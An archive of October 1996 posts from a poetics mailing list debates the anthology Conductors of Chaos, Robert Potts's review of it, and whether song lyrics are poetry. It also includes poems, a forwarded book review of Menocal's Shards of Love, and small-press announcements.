--I'll confess to that --

↑ Index

326. **Jordan Davis**
chaos
Tue 15 Oct 1996

Oopa, all I should have said was

I cannot stand "I'd never thought to see here"
because it was the one thing
"I'd never thought to see here."

Jordan

↑ Index

327. **Keith Tuma**
Re: How To Not Read
Tue 15 Oct 1996

Ira--

Surely you wouldn't disagree that _Purity of Diction in English Verse_ (1952)--the Davie book cited by Potts--was crucial to the "Movement"? Otherwise there's just the journalism of Larkin, etc. The fact that Davie attacked the Movement a few years later, the fact that _Under Briggflatts_ is a very different book (might as well plug my now-ancient review of it in Contemporary Literature, written before I had read most of the poets in _C of C_)--all this is beside the point. Those folks you mention Davie as having supported (Bunting, for instance, but very much Davie's Bunting) are nowhere mentioned in Potts' review. The blunt opposition Potts makes between "Davie's civic contract" and a "more religious covenant with the faithful" seems to me to 1) erase Davie's work post-conversion and (more importantly) 2) make Iain Sinclair's interests and framework representative of a very diverse group of "avant-garde" poets. Allen Fisher, for instance, was explicitly critical of Sinclair in his review of _A Various Art_, which Davie also reviewed by the way, taking the opportunity to say that he wished his former student Prynne would say what he was up to and that, well, Douglas Oliver and a few others in that earlier anthology were okay and the anthology should be applauded.

Besides, I never said that Potts' values were exactly those of the "Movement," but rather an extension of them, a frame expanding slightly in order to contain some of that which challenges it so as not to break. Besides Oliver it's Tony

Lopez, Barry MacSweeney, Michael Haslam, Andrew Crozier, Lee Harwood, and Denise Riley he singles out for praise. I imagine that, with more time than I have tonight, one could easily figure out why he has room for these poets and not Brian Catling, cris cheek, Allen Fisher, Peter Riley, Prynne, Bill Griffiths, Caroline Bergvall, Allen Fisher, Prynne, etc. These are the poets, apparently, who "clearly have no ear at all." These are the poets who "will no doubt be satisfied that their work is simply too good for most readers, and return to their worthy isolation." Potts' equation of marginalization with willful elitism--take that you snotty rats, back to your holes--this is, for me, one of the most frustrating motifs in his review. On the back of some reading in Andrew Duncan's prose he's also caricatured "Cambridge," it seems to me, and falsely linked everybody in the book with Prynne's procedures. He's heard talk of what others have called "a convention of critical silence" and imagines he's found a motive for it: up to now these poets have only wanted to talk with one another. Now he will stand in for the public, offering a "fresh and foreign critical interrogation" to counter their whispering, deciding who should be allowed to speak rather than whisper. It's ironic that his critique of some of the work in _C of C_ is very much indebted to the criticism of a poet whose work he has no use for--Drew Milne--and also, more broadly (it seems to me) to Prynne and others associated with "Cambridge" who in criticizing the propositions of langpo poetics have been insistent in arguing that "the more common response" to "a disrupted and dehiscent information vortex" is "simply to choose to read something else."

I said earlier that Potts is not "obtuse"--so I agree with you on that score. And I'm no more a fan of the chest-thumping among the avant-garde than you are, apparently: it does seem to me that there's a reluctance among experimental poets and their supporters to write critically about one another, perhaps especially in the US. And the so-called 'mainstream' is regularly caricatured, as if Frank Bidart, Dana Gioia, and Sharon Olds were one and the same poet. But when I notice the silence that is the US mainstream's critical approach to nearly all alternative poetries, or when I read Robert Potts consigning 85% of the poetry in _C of C_ to oblivion because of its purportedly "willed incoherence" and its "hideous extremes" I think that I understand why the rhetoric among some of those on this list sounds the way it does. This is not to explain or justify Steve Evans' remarks about "xenophobia" or "capitalism"-- Steve will surely speak for himself.

Keith

↑ Index

328. Aldon L. Nielsen
Re: the other thing I'd never thought to see here
Tue 15 Oct 1996

nothing to do with all genres being "equal," though even what that means (equal to each other in what regard?) unclear -- but my original point was simply that I had always thought that lyric was in fact a genre of poetry, and that I hadn't thought to see them thus opposed to one another on a "poetics" list -- Perhaps part of the problem here, my having been absent so long from the discussions in question, is that my comment is now read in the light of discussions I was not involved in???

no hierarchical comment intended with regard to other lists anywhere --

nor any argument for absolute relativism, the which I continue to find untenable --

I was chilled when chilling wasn't cool --

↑ Index

329. Herb Levy
Re: ye olde music thread
Wed 16 Oct 1996

> *Jordan,*
> *who has been miffed since last year*
> *when Herb Levy referred to the music of Brian Eno*
> *as fit only for poseurs*

The only composer I can remember being quite so blunt about, at least on poetics-list (I'm much more opinionated in real life), is Stockhausen. Though I can certainly imagine that I may not have referred to Mr Eno with the same degree of respect he often receives.

Nick Cave, on the other hand, didn't he re-invent the Child ballads?

Herb Levy
[redacted]

↑ Index

330. Mark Roberts
Re: ye olde music thread
Wed 16 Oct 1996

> *Jordan,*
> *who has been miffed since last year*
> *when Herb Levy referred to the music of Brian Eno*

> *as fit only for poseurs*
>
> *The only composer I can remember being quite so blunt about, at least on poetics-list (I'm much more opinionated in real life), is Stockhausen. Though I can certainly imagine that I may not have referred to Mr Eno with the same degree of respect he often receives.*
>
> *Nick Cave, on the other hand, didn't he re-invent the Child ballads?*

and he sings with Kylie!

Mark Roberts
Student Systems Project Officer
& User Representative SIS Team.
Information Systems
University of Sydney NSW 2006 Australia
Ph. (02) 93517710
Mobile 015063970
Fax (02) 93517711

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331. Rachel Loden
Arshile 6
Wed 16 Oct 1996

---

http://writing.upenn.edu/epc/authors/creeley/70th/arshile/

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332. Kevin Killian
Ronald Johnson sighting
Wed 16 Oct 1996

This Dodie. KK just called me and said he read in the paper that Ronald Johhnson is reading here in SF at New College tomorrow at 7:30. KK called the Poetics Program at NC and confirmed that this is, indeed, the case. New College is located on Valencia between 18th and 19th. See you there!

↑ Index

333. Jordan Davis
Hit Lyrics
Wed 16 Oct 1996

Aldon -- I suppose to be etymological about it you're right, that 'lyric' mode is a subset of 'poems.' However. I hear differences between N. Merchant and T. Campion? Between R. Zimmerman and R. Grenier? Differences which imply 'generic drift'? If of course a poem is words broken up into lines then there is no difference -- no visible difference -- between a 'song lyric' and a 'poem'. But, to be less implicated in damaged forms of categorization, the set of conventions for reading (hearing) a song lyric is so distinct from those for hearing (reading) a poem -- things float differently in those different media -- that to look at one as

either 'equal to' or 'subordinate to' the other is I think in the same free range where a poem can be thought of as not enough like a personal essay. Which is not to say there is no profitable interplay between 'song lyric' and 'poem'. John Taggart's work comes to mind, as do David Shapiro's, Anselm Berrigan's, and Chris Stroffolino's -- but those works seem to borrow from musical strategies of sampling, dub, minimalism, extended remix -- to take a salient moment from a 'song lyric', or rather an area of overlap between 'song lyric' and 'poem' -- and riff. Now Steve Carll's _Sincerity Loops_ is a suite of poems founded on a different, textual principle -- reassembled from song lyrics one word at a time.

> IT'S RAIN
>
> I hear rain-shines show when mind comes,
> if you hear, and the sun.
> If lemonade shines it, everything's weather's state, might slip.
> The same "they" that sip rain can run sun into you.
> Fine, show that the weather's me can hide their mind.
> If the sun starts, comes, and the dead,
> they can hear rain, they don't shine.
> Comes their rain, the shines of it to the you; when can I rain me?
> The fine shines show and I don't shine rain when you can.
> Well as rain when mind-shade heads just be.
> The I rain I; the me rains a you when you can.
>
> _for John Lennon_

I hope Steve doesn't mind my using him this way. And if I'm misreading his project when I suggest that his discovery of subatomic particles of meaning in 'song lyrics' is directly connected to his transformation of 'song lyrics' into 'poems' then I hope Steve (or someone) will say so. [It's possible that Steve thinks of this poem not as transformation or translation but rather as cento. In which case, my bust.]

As for 'absolute relativism' being untenable, Aldon, I'm sure you're right, but I'm not sure which absolute relativism you're saying I'm trying to hold. Are you saying that I'm describing the genres of 'song lyric' and 'poetry' in a way that has overtones of 'separate but equal'? Or that to describe the differences between 'song lyrics' and 'poems' is to engage in a kind of literary cranium measurement? Or that line-broken texts which are good are poems, and line-broken texts which are bad are songs? Why you wanna treat me so bad when you know I love you?

Jordan

↑ Index

334. Mark Wallace
Keith Tuma and "chest thumping"
Wed 16 Oct 1996

While I can't claim to know in detail the problems of English poetry that Keith Tuma and Ira Lightman are debating on this list, I do greatly object to the characteriziation that Keith makes of "chest thumping" among "experimental poets," as well as his just plain wrong suggestion that experimental poets in the U.S. are not critical of each other. I don't think I really need suggest what is wrong with reducing a whole body of contemporary critical writing by experimental poets to some sort of cliche about primitive macho posturing; nonetheless, Keith, if you think recent critical work by writers like Ron Silliman, Leslie Scalapino, Charles Bernstein, Nathaniel Tarn, Barrett Watten, Juliana Spahr, Lew Daly, John Noto, Charles Borkhuis, Jefferson Hansen, myself and many others can be reduced to some sort of singular "thumping" about our shared value, then you haven't been reading very closely.

Let me, just in case this doesn't seem clear to you, suggest a number of texts you might read that totally bely the suggestion that "American" "experimental poets" (whatever they are, exactly) are not critical of each other, although it seems to me that you've been on this list long enough perhaps to perceive that not everybody out here is in agreement. Please read, for instance, the highly contentious discussion between Charles Bernstein and Ron Silliman in Content's Dream; please read the collection Juliana, Kristin Prevallet, Pam Rehm and I edited, A POETICS OF CRITICISM, with particular attention to pieces (for this context) by Lew Daly, Jefferson Hansen, and Susan Schultz; please read POETIC BRIEFS #19 with my essay on postlanguage poetry and the various responses to it that appeared in Poetics Briefs #20; please read Charles Borkhuis' essay in ONTHEBUS on the relation between surrealism and language poetry; please read ALL the introductions to the magazine Apex of the M; please recall, if you will, the intense discussions on this poetics list between Ron Silliman, Steve Evans, Juliana Spahr, myself and others about the value of "postlanguage" poetry; please read recent issues of TALISMAN with attention to the work of John Noto and Leonard Schwarz as well as the recent highly contentious debate between Marjorie Perloff and some others on "language poetry bashing," please read the almost brand new work by Hank Lazer and Bruce Andrews now out from Northwestern (is that right folks, please help here).

While I'm tempted to have some sympathy for Ira Lightman's position about Donald Davie (despite the fact that Davie's now infamous article on Lorine Neidicker is about as close to macho "chest thumping" as contemporary poetics criticism gets), Ira loses my sympathy entirely when he starts characterizing the "experimental" poetry "scene" as the SOURCE of the negative feelings and in-breeding that he suggests limit or perhaps even destroy the potential

significance of "experimental poetry." I suppose I am sorry, Ira, if someone in that community was meaner to you (and perhaps to others) than he should have been, but the stance of a sort of wounded innocent that you take towards that hostility is really pretty tough to swallow. Any idea WHY experimental poets in Britan might be hostile, Ira? Could it be that for 20-30 years writers like Tom Raworth, J.H. Prynne and many others after and around them have consistently been subject to the sort of willful misreading of their intentions that Potts seems so clearly guilty of? What have they to expect from these people but more mistreatment, further willful misunderstanding, and constant attempts to deny them resources and public platforms?

Your own call for censorship at the beginning of your post, Ira, makes clear to me exactly where your own sympathies finally lie. Steve Evans may be incorrect about certain details regarding the context of Potts' review, and for that he should certainly be challenged. But it's blatantly apparent that Potts is equally incorrect about many details also. And yet, Ira, you make your point of view quite clear; by all means, let Potts speak in the Times, and defend Potts wherever possible, but no, no, don't even suggest that Steve Evans should publish his response in the same forum, because, after all, he doesn't really understand, and therefore shouldn't be allowed broad public access at all.

Mark Wallace

----------\ |
| | [redacted] "I have not yet begun | |
to go to extremes" | | GWU: |
| http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

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335. **Joe Amato**

Re: How To Not Read

Wed 16 Oct 1996

---

just a quick note to say that i think ira's post, and jeremy's, and keith's, and peter's and... are bringing out salient points re steve evan's analysis/parody... i don't know mself enough about the british scene to say anything pertinent, so i'm content to lurk and listen and learn...

one thing though: perhaps steve can actually *use* the material being presented here ex post facto?... i mean, if steve were to agree with ira, in part, that certain of his assertions were tilted too contra (or too pro experimental), why then no reason he couldn't revise his own writing (and thinking), right?...

i guess i'm saying that what steve gave us wasn't a published document (though i'd love to see it published side-by-side with potts' piece---or as a rejoinder)... in essence, his gesture---of submitting to this forum something for our consideration---was at the very least the result of some careful thinking and writing... and perhaps we might approach his contribution, whatever our reservations, as something that might profit from our input?...

just a thought, albeit a bit pedantically put//

best,

joe

↑ Index

336. Mark Wallace
Situation #13
Wed 16 Oct 1996

Situation #13 is now available. This issue features work by Phyllis Rosenzweig (very good, a must read), Paul Long, Renee Gladman, Paul Weidenhoff, Ken Sherwood, Tod Thilleman, Graham Foust, David Baratier, William Marsh, Steve Carll, and an electronic mail renga extravaganza, arRange of Rengas.

Subscriptions to Situation are $10 for four issues, or $3 for single or back issues. Please make checks payable to Mark Wallace, 10402 Ewell Ave., Kensington, MD 20895.

Thump thump.

/----------\ |
| | [redacted] "I have not yet begun | |
to go to extremes" | | GWU: |
| http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

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337. Henry
Re: Keith Tuma and "chest thumping"
Wed 16 Oct 1996

Could somebody please say in which issue of TLS the Potts potshot is thrown? I couldn't find it at the liberry. Thanks - HG

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338. Tom Mandel

exinclusio

Wed 16 Oct 1996

Energy spent on what to leave out
-- and how and why --
makes the space smaller.

Energy expended on what to include -- and how and why
to include more --
makes the space larger.

Dylan -- early, late --
is great.
Check out "Grain of Sand" on his Shot of Love ('81)

do what he do
make what you do
invalid? otherwise, why

use what you do
-- what "we" do --
to push that song to the margin?

easy to confuse
saying "I want the edge"
with what you may really mean: "I want to be the center."

Next you'll be taking on John
Lennon, Irving Berlin
Petrarch, and all those we have reason to believe

irrelevant, as "we" knew
Mandelstam and others to be
'Course that "we" can't include "you?" You are correct?

The mind at once dictator of formal synthesis
and razor shaving subject where
every location is also a margin.

Tom Mandel

****
Tom Mandel * 2927 Tilden St. NW
Washington DC 20008 * [redacted]
vox: [redacted] * fax [redacted]
****

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339. Rachel Loden
editor/Arshile
Wed 16 Oct 1996

Just to clarify (due to backchannel confusion):

Arshile is edited by Mark Salerno (not by me).

Rachel

http://writing.upenn.edu/epc/authors/creeley/70th/arshile/

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340. Sherry Brennan
nick cave
Wed 16 Oct 1996

There is cross over both poetry and writing to msuc, exp. punk and jazz, and to some extent to the academy. Burroughs and Tom Waits recent-ish collaboration (Dark Rider) is only one example. Waits is a good poet and I myself like Nick Cave, though have not read his novel. And Jeff and a guy named Billy Joe Harris here have taught undergrad lit classes on music/noise/jazz and its aesthetics and relation to writing (such as Baraka) and reading. Song lyrics, like (as) poems, can be good or bad writing, it seems to me. But, just as importantly, I think the music (underground, punk, "alternative", jazz) itself--its noise, its fragmentation, its rhythms, its dissonances--has had a great deal of impact on my own writing, and I assume on others. Look at Larry Ochs (Rova Sax) and Lyn Hejinian. xs

> *I can remember talking about Cave oh 18 months ago in a thread which again (I think started with Dylan) & I am probably going to make the same point as I did then.....But I 'discovered' poetry in books (you know real poetry in small press books and magazines which are really hard to get if you are 16 and don't know about the 2 trendy inner city bookshops which stocked one or two of these magazines in the late 70s) after listening critically to rock song lyrics (you know punk had just happened -Radio Birdman/The Saints). I know it is really easy to dismiss people like Dylan (early) and so on - but I think there is probably more 'cross over' than some in the academy would care to admit.*
>
> *Mark Roberts*

Sherry Brennan
Development Research
The Pennsylvania State University

[redacted]

↑ Index

341. **Keith Tuma**
Re: Keith Tuma and "chest thumping"
Wed 16 Oct 1996

Gee, thanks, Mark, for the bibliography. Actually, I've read nearly all of the essays you mention--from Ron and Leslie's exchange through Tarn's essay on "new forms" up through the Apex manifestos and _A Poetics of Criticism_. I've watched Bob P and Charles B and Barry W slug it out, etc.

It was not my point that the so-called "experimental" poetry scene is monolithic, uncontested turf. It's simply too small a pie for that ever to be the case, though I think that one might very well identify moments of more or less consensus. The last few years have clearly seen less, as langpo no longer requires the tactical solidarity necessary to secure an audience. My point is that, often, such critique operates with the working assumption that it is not necessary even to engage the so-called "mainstream" except in the most superficial, caricatured manner. This is, in my view, a self-defeating tactic (and I speak as a supporter of many of the poetries you mention). It allows those folks to ignore you; it breeds silence and contempt; it makes a wounded rhetoric of marginalization faintly comic. If one wants to inhabit the margins as a tactic or a matter of principle, that's one thing. If one one wants to complain about the "marginalization" of experimental writing and not engage the so-called "mainstream" with some precision, contesting its claims on public space and the "center," that's another.

The situation in the UK, as far as I understand it, is very different. Until very recently, "experimental" poetry has not had there the academic base of support related or (to some degree) similar poetries have managed to secure (thanks to the labors of Marjorie P and others) in the US. The best British reader of Tom Raworth, for instance, is probably John Barrell, who I believe works as an art historian. And the "mainstream" there--for this reason as well as many others--seems more static, less fluid, though what Peter Larkin says about the _Poetry Review_ (a mainstream journal if ever there was one) is encouraging.

I'll close with a quote from Ron Silliman: "The term academic poetry inhibits those who use it from developing a fully nuanced reading of the very writing it seeks to identify. How are we to distinguish a Bill Knott or a James Tate from a Timothy Steele or a Frank Bidart?"

I'd wager that the very rhetoric of your post nearly makes my case.

keith

↑ Index

342. Charles Smith
Re: Ronald Johnson
Wed 16 Oct 1996

I thought it was interesting that _Ark_, as published by Passages, now consists of three parts (triad rules!) instead of the four Johnson had once projected. He used to explain at readings the architecture of the poem as culminating in a roof or dome --what he had already published as _RADI OS_ , the writing through by erasure of Paradise Lost .

Btw, I stopped by SPD last week before Kevin's play, & they have copies of _Ark_ stacked on their new titles table, so you should be able to order it from them as well.

charles

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343. Christina Fairbank Chirot
Re: exinclusi & listening
Wed 16 Oct 1996

Thanks to Tom Mandel for his po/em/st. Tom Mandel writes: "easy to confuse/saying 'I want the edge'/with what you may really mean: 'I want to be the center'" Pascal noted that God is a circle whose center is everywhere and circumference nowhere. He also noted that it is not the elements which are new but the order of their arrangement. (If Pascal's God is a worn out concept to readers, note that M. Pascal's probability theorems are still in use today; i.e. his work continues to be useful whether his God is or is not.) Tom Mandel points towards a working with elements rather than the imposition of categories. Stuart Hall writes of "articulation" as an arrangement of elements to produce something "new" or what Pascal calls that which is "previously unavailable to memory". As an example Hall gives the British "articulated lorry" in which a truck cab is joined to a truck bed or trailer useful for moving things. Mandel writes: "Energy spent on what to leave out/--and how and why--/makes the space smaller./ /Energy expended on what to include--and how and why/to include more--/makes the space larger." Like the Dadaists in painting, poetry,and performance William Carlos Williams noted that anything can be used to make a poem. Russolo in the Italian futurist manifesto on Noise indicates that anything may be used to "amplify" and extend the sounds available to music. (Opening up the making of 'new' instruments as well as of "new" noises/sounds--Harry Partch a later example for instance, as well as Cage and Tudor et

al.) Filmmakers have long used elements taken from stock footage, stock sound recordings, "amateur" "home movies"and used them with "directed" elements, sets, actors to open film spaces. (think of Kenneth Anger's use of popular songs, tv broadcast Hollywood movies and so on in "Scorpio Rising" as one example among hundreds.) Sampling in music and "referencing" in videos extend, expose and exploit the possibilities and contradictions in the articulation of elements. In "How Are Verses Made" Mayakovsky notes that it is not the evaluation of work from the standpoint of literary taste that is useful, but the study of the productive process. "How are verses made? Work begins long before one receives or is aware of a social command. Preliminary work goes on incessantly . . .

A poet regards every meeting, every signpost, every event in whatever circumstance simply as material to be shaped into words".

Distinctions and abstract categories--Mandel's "energy spent on what to leave out/--and how and why"--impose traffic limits so to speak on where, when, how fast or slow, how far or freighted Hall's "articulated lorry" may go. To separate song lyrics from "the" lyric "makes the space smaller" as Mandel writes. It is not song lyric in opposition to "the" lyric which is useful, but their apposition as elements and materials.

In "bpNichol and the Past-Present of a Future Music" Paul Dutton opens by quoting from bpNichol's The Martyrology, Book 1":

a future music moves now to be written

w g r & t

its form is not apparent

it will be seen

Later in the essay (in Musicworks #44) Dutton writes:

"Throughout his oeuvre, pop-song lyrics recur and, judging from Nichols' treatment of them in public readings, he intends the melody to be heard, if only in the reader's head. These pop-song quotes usually occur as fragments arising in the associative flow of the poetry. For instance, in The Martyrology, Book 6, reflecting on the birth of his daughter he writes 'when the selves merge / a new self emeges / we / "three are not alone" ', in which passage the 'three are not alone' would be sung to the appropriate portion of the melody of the Inkspots' 'My Echo, My Shadow and Me". Elsewhere in Book 6, he inserts original lyrics of a C&W-style love-song to his wife, obligingly supplying notation of the melody."

The "articulation" of elements, rather than their control through the imposing of categories derived from abstractions and taste, "makes

the space larger" as Mandel writes.

Mandel also writes: "the mind at once dictator of formal synthesis/ and razor shaving subject where/ every location is also a margin".

A circle with center everywhere and circumference nowhere articulated in arrangments of elements opens possibilities, listenings, notations, "lyrics"--bpNichol, quoted by Dutton:

"I place myself there, with them, whoever they are, wherever they are, who seek to reach themselves and the other thru the poem by as many exits and entrances as are possible".

Thanks to Tom Mandel for noting "as many exits and entrances as are possible" " 'In Every Grain of Sand' "

--dave bapiste chirot

, On Wed, 16 Oct 1996, Tom Mandel wrote:

> *Energy spent on what to leave out*
> *-- and how and why --*
> *makes the space smaller.*
>
> *Energy expended on what to include -- and how and why*
> *to include more --*
> *makes the space larger.*
>
> *Dylan -- early, late --*
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> *Check out "Grain of Sand" on his Shot of Love ('81)*
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> *use what you do*
> *-- what "we" do --*
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> *Next you'll be taking on John*
> *Lennon, Irving Berlin*
> *Petrarch, and all those we have reason to believe*
>
> *irrelevant, as "we" knew*
> *Mandelstam and others to be*
> *'Course that "we" can't include "you?" You are correct?*

> *The mind at once dictator of formal synthesis*
> *and razor shaving subject where*
> *every location is also a margin.*
>
> *Tom Mandel*
>
> **********
> *Tom Mandel * 2927 Tilden St. NW*
> *Washington DC 20008 * [redacted]*
> *vox: [redacted] * fax [redacted]*
> **********

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344. Peter Larkin
Conductors of Chaos
Wed 16 Oct 1996

The latest Poetry Review has a special number (amazingly enough) on modernism, postmodernism etc called "Strange Attraction". First off is a rev of C of C by Ian Samson who is positive about the poetry but (rightly I think) very robust about the introduction. And his remark that chaos can be judged on how good the conducting is and shouldn't just rely on the consistency of chyme (a an acidic stomach residue)seem s fair general comment(general is as general does) as well as a momentary resourceful counter-rhetoric. See also keith Jebb on innovatory magazines and Stephen Burt on Langpo.Although designed to be accessible, none of this is throw-away or crabby infighting. It's the sort of issue from PR that would have been unimaginable until quite recently. There is even a poem from Drew Milne. Peter

Peter Larkin
Philosophy & Literature Librarian
University of Warwick Library,Coventry CV4 7AL UK
Tel:01203 528151 Fax: 01203 524211
Email: [redacted]

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345. Aldon L. Nielsen
Re: Crossing Jordan
Wed 16 Oct 1996

Damn, I NEVER said you were committed to absolute relativism -- I said that I was not -- as in, I don't go around suggesting that all genres are equal (precisely because I don't know what that might mean and do not believe it) --

my original point was simply that song lyrics are a kind of poetry -- whatever drift we may celebrate or condemn in whatever genre of verse we speak of, I'd rather not get into the business of expelling genres from the category of "poetry," particularly on the basis of my not much caring for some instances of the genre --

I think Robert Bly's prose poems pretty much, as my students are fond of saying, suck -- But I think I'd better have some other grounds than quality before I declare that they are not poems --

"I started out on Nick Cave but soon hit the harder stuff."

alternate take available on CD only:

"I started out on John Cage but soon hit the harder stuff."

love you too, honest I do --

↑ Index

346. Jordan Davis
spirits rejoice
Wed 16 Oct 1996

Aldon --

Point taken.

All I said was 'that's a song lyric, not a poem.'
You, apparently responding to someone else, said the logical equivalent of
'bad song lyric does not imply not poem.'

Can't argue with that.

Jordan

↑ Index

347. **cris cheek**
Re: How To Not Read
Wed 16 Oct 1996

Thanks to Ira. Gets me going.
I'm wanting to extend one particular section of
his post on conduits. Before that though I'm glad that
Conductors of Chaos is attracting so much contradictory
press. Almost every reviewer wants to salvage one
contributor or another from the consignment to oblivion.
Discussion is being generated. My problem with the
anthology is its white blanket, another chance to
build more awkward alliances gone blowing. Agenda's need
to be forged with such forefront, work needs to be
written to make such agendas possible. Readings /
Conferences / Festivals / audiences need to be
considered in such lights. Peritext yes and context
and pretext. Every aspect of production, positionality
and interaction. It's all editing or marketing or
curating. There is no purity and no escape. No pre-tense.

Then to Ira:

> *It takes a long time to get used*
> *to the work on the page, and the public readings you*
> *can go to here don't help; indeed, I felt like a stupid*
> *person sitting not completely enwrapped, and indeed*
> *I feel *braved* the surface rudeness to get something*
> *from the poetics here. There is a difference between*
> *surface difficulty from a poet who is respectful and*
> *loving, and a surface rudeness from a poet who's rude*
> *and solitary and you only get anything from them in*
> *spite of them.*

In England there are at least four 'brotherhood' poetry
hoods, that I can identify. These are broad 'hoods', each
employing a differing club ethos for bonding.

One is the CCCP (Cambridge Conference of Contemporary
Poetry) scene - often featuring strong poets but with a
standoffish sociality. My sense is that with some of the
younger people there (such as Simon Perill) getting involved,
the stony edifice is cracking a little. Let it not be imputed
that there are no parties at CCCP - I too have been in
Prynne's study when he breaks open a case of wine and
plays Chinese music on the stereo. But that's an inside

track, many never get invited. (aren't most scenes like
this really?) Head over body.

Second there is the so-called London grouping (of which
I was, maybe am still considered, a part). The London
stance is/was certainly more critical in regard to the lyric
'I' than at CCCP - more Lang-po friendly, and readings
tended more towards the performative, even mixed media.
Sometimes, mea culpa, London readings could be punky
and bolshy and high energy engagements (not for eberyone).

Third there is Apples and Snakes and its affiliates. More of a Slam crowd for Identity politics in rap and dub style performance. I've read there and enjoyed it, but recognise that there can be a tendency to consign those who don't like their poetry up front and in yer face, with rockin rithums and rimes, as hopeless high brow aesthetes.

Fourth, the cheese and wine with book signing hushed reverence, in the presence of the poet, literary event, at which the coseting with sentimental middle class romanticism (poems about fine wines, net curtains and the latest translation of Virgil) can be equally alienating.

Ira's point, made via Davie, about the interface with 'the public' being a place of considerable responsibility and demanding awareness of issues around access is worth noting.

How does this resonate with stateside audiences?

love and love
cris

↑ Index

348. Gabrielle Welford
Menocal, Shards of Love (fwd)
Wed 16 Oct 1996

Thought some of you would like to see this. Sorry for the length. gab.

Maria Rosa Menocal. Shards of Love: Exile and the Origins of the Lyric. Durham and London: Duke University Press, 1994. Pp. xvi + 296. ISBN 0-8223-1405-3 (pbk.: 0--8223-1419- 3). $49.95/$18.95

Reviewed by James J. O'Donnell -- University of Pennsylvania

[redacted]

A book of this title and subtitle could easily have been published at almost any date in the twentieth century. No critical fashion would have excluded it, and in any earlier generation, at least, it would have been relatively easy to calculate its contents, or at least to delimit them once a hint were given. This book is about Dante and Petrarch and Jim Morrison and Eric Clapton: and they are only its pretexts, for the range of its cultural contexts and its concerns is far wider. It is in the end a book about ourselves as readers.

Outwardly its sequence of chapters begins in 1492, with Columbus departing Spain for his first great voyage at just the moment that the last of the exiled Jews are departing Spain from a neighboring harbor. The coincidence in time and certain other traces not often heretofore insisted upon evoke the possibility that Columbus himself, though not at that moment strictly an exile from the place of his departure, was equally an exile from his ancestry and religion -- Columbus the Jew? The possibility cannot be simply scoffed away, and it becomes the point of departure for meditations about the link between the self in exile and the selves that preceded it.

Menocal is on familiar territory, for her earlier work has roamed neighboring waters, on the boundaries between Islamic and Christian middle ages. Indeed her theme (see her earlier The Arabic Role in Medieval Literary History) has been that we too readily accept Islamic/Christian as a conceptual dichotomy that implies and necessitates cultural boundaries. But she is deft in deploying the poetry called muwashshahat (mixing Hebrew, Arabic, and Latin in the same songs) and the dazzling range of works of Ramon Llull to bring alive the ambiguity and the richness of what was rather on her presentation a meeting and mingling place than a boundary.

The facts of the case, however, are pretext for the book's central concern: how we talk about the facts of this, and other, cases. "Philology" is the object under dissection, and it is given pitiless and almost always fair-minded scrutiny. The patron saints of the book (in a medieval kind of way: they loom over it without necessarily either winning our veneration or conferring their approval) are Auerbach, who believed in Romance culture, and Curtius, who believed in Latin culture. The one was an exile of extraordinary self- possession, the other a slightly furtive non-exile. (The self-consciousness of Auerbach's exile can best be seen, I think, in that in his first years in Istanbul in the late 1930s, he and his wife -- whose status as a banker's daughter presumably brought some protection -- left exile for summer holidays in their old mountain haunts in Germany every year. The innocence that could be displayed in the shadow of the beast remains one of the most appallingly endearing things about that time.)

The upshot of Menocal's explorations (by now Dante is the text on the table) is a lucid exposition of the relativism of our positivisms, the way in which our most fervently-espoused practices of truth-finding have been their own best commentary and worst enemy. Menocal clearly stands against Grand Narratives and with the postmoderns.

At this point the book turns sharply in an unaccustomed direction, and Eric Clapton appears. This is the early Clapton, and his chief performance for our purposes is Layla, recorded in 1972 under the nom de bande Derek and the Dominos, with not only Clapton but also Duane Allman lending memorable and crashingly vivid guitar accompaniment. There is an eery appositeness to evoking this text -- and text it is here. The name Layla (to veil a real-life love, no less than "Lesbia" did for Catullus) comes from medieval Persian legend, the name of the beloved of the lover Majnun, driven as mad as Clapton -- in the last stanza of his song -- fears being driven. Elsewhere on the same album a short and hypnotically lyrical song "I am yours" offers the clue to the connection in an album note that attributes the song to Clapton and "Nizami" -- a medieval Persian poet. Some will find the touch a little less light through these pages, but Menocal is still resolute and firm of grip on her theme, limning a lyric mode of exile and rejection which crosses still the old east/west boundaries as she spins a web from Persia to Miami.

>From there it is a short leap to Petrarch, the serious writer
who was also a balladeer, and back to Jim Morrison, buried in
Paris after a career as poet and troubadour -- of a sort.
Here again, summary does little favor to the discussion,
which is never quotidian and always enriched by a wider sense
of connections in many directions.

That sense of connectedness is Menocal's great strength and
it persists throughout what could otherwise have been a
disjointed and unconnected book. Her style is easy, personal,
and at the same time based on penetrating vision that the
reader is happy to share.

The weakness of the book is one that one little expects: its traditionalism. Traditional practices to be sure are here in abundance, always bracketed very decorously, but that is not what I mean. Instead I point to a deeper implicit Romanticism that remains strongly if silently on display in this book as it does in much else of our critical literature today. The last vestige of the Romantic passion lies in the assumption that literature, the literary text and its connections to other texts and even to real life, is the appropriate place in which to ground a connected sense of human community. To reduce Clapton and Morrison to the level of a Dante or a Petrarch (for all that they enliven the pages of a scholarly book,

pressing them into the pages of a scholarly book leaves much of them aside -- and to be sure, Menocal is strong on emphasizing that Dante and Petrarch are similarly "reduced" as we receive them) is a sign of how very important the underlying exercise remains: to exalt "literature" by bringing it under scholarly control. Literature, finally for Menocal, is still worth talking about. That which is not generally thought of as high literature -- like the muwashshahat -- exists to be rescued, revived, and revered.

Accordingly, the philological practices that she brackets so meticulously will in the end suck her in with them. This book does not self-consciously bracket itself, but the effect is almost the same. It is, to be sure, the only scholarly book that I have ever reviewed that led me to the record store to weigh the versions and buy the album. I bought the original, while retaining a decadent affection for the later "unplugged" avatar of the same song by Clapton -- no longer driving electric chords, but a meditative, almost melancholy, acoustic rendition. In indulging that secret affection, I fall away from the philological purity of this book. For it was the textualization of the song in its 1972 version that subjects the later version, in Menocal's words, to a "purist's disdain". That tastefulness is at its heart profoundly philological, and in the end that is the revelation of this book: to be unphilological or postphilological is still to be philological. To be postmodern is not yet to be anything quite new or different.

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349. **James Sherry**
ROOF BOOKS SPECIAL OFFER
Wed 16 Oct 1996

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Poetics Subscribers may buy from the following list of Roof Books for $5 (five dollars) each. In order to qualify for this offer you must order a minimum of 3 (three) books from the list of titles below. Minimum order must be 3 (three) books! Postage is free 4th class book rate (allow two weeks for processing and delivery). You must order by November 15, 1996 to receive this offer.

